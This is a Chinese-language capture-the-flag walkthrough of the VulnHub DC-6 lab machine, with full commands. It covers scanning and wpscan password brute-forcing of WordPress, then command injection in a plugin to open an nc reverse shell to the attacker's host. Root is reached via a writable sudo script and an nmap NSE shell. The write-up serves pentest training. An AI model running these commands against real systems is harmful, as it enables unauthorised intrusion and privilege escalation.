DC-6打靶渗透【附代码】(权限提升)

靶机下载地址：

https://download.vulnhub.com/dc/DC-6.zip

1. 主机发现+端口扫描

1.1. 主机发现

nmap 192.168.93.0/24

1.2. 端口扫描

nmap -A 192.168.93.163 -p-

2. WEB打点寻找可利用的漏洞点

2.1. 根据80端口的信息，发现我们并不能直接访问靶机的web页面，和/wordy相关

工具信息应该是要加入到hosts文件里，进行加入

进行页面访问

2.2. 端口扫描+敏感信息收集

dirb http://wordy

敏感信息收集 -> 发现CMS是wordpress

whatweb http://192.168.93.136

2.3. 拼接wordpress默认的后台登录路径/wp-admin

使用WPscan扫描网站包含的用户名

wpscan --url http://wordy -e u

得到admin，mark，graham，sarah，jens几个用户名

根据靶机线索给予的代码，可以得到一个密码字典，这个字典在kali里面是有的，将文件输出到当前目录的passwords.txt

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

使用WPscan工具利用密码字典pssswords.txt去扫描网站

wpscan --url http://wordy --passwords passwords.txt

得到用户名mark和密码helpdesk01

进行登录，登陆成功

有个Activity monitor插件，在插件的tools选项中

在ID or integer的输入框中输入东西，然后点击Lookup，发现有回显

2.4. GetShell

尝试一下命令执行

baidu.com | ls

用bp抓包一下

kali中创建监听端口

nc -lvnp 7878

在bp中输入baidu.com | nc -e /bin/sh 192.168.93.130 7878进行反弹shell，同时在kali查看监听反馈。

baidu.com | nc -e /bin/sh 192.168.93.130 7878

3. 权限提升

发现成功获取shell，用python开启一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

进入/home目录，分别进入各个用户目录下查看存在什么可利用的文件

发现目录下面是几个用户文件，进去查看，在mark用户中，发现独有的stuff文件，查看文件内容

从thing-to-do.txt文件中我们得到graham用户的密码GSo7isUM1D4

利用用户graham和密码GSo7isUM1D4连接靶机的ssh服务

ssh graham@192.168.93.163

进行sudo -l

发现可操作/home/jens/backups.sh，且执行时以jens用户身份执行

向脚本中写入/bin/bash命令，然后让jens用户来执行

echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh

成功切换为jens用户

再次进行sudo -l

发现nmap命令执行时以root身份执行，需要nmap打开一个shell即可获得root权限，尝试编写提权脚本

先进入jens用户目录,编写并执行脚本

cd /home/jens

echo "os.execute('/bin/bash')">demon.nse
//nse为nmap可执行文件后缀，此命令为开启一个终端（以当前身份）
sudo nmap --script=demon.nse
//执行此脚本

成功获取root权限（这个shell不会显示打的命令，但是不影响输入）

查看/root目录，找到theflag.txt，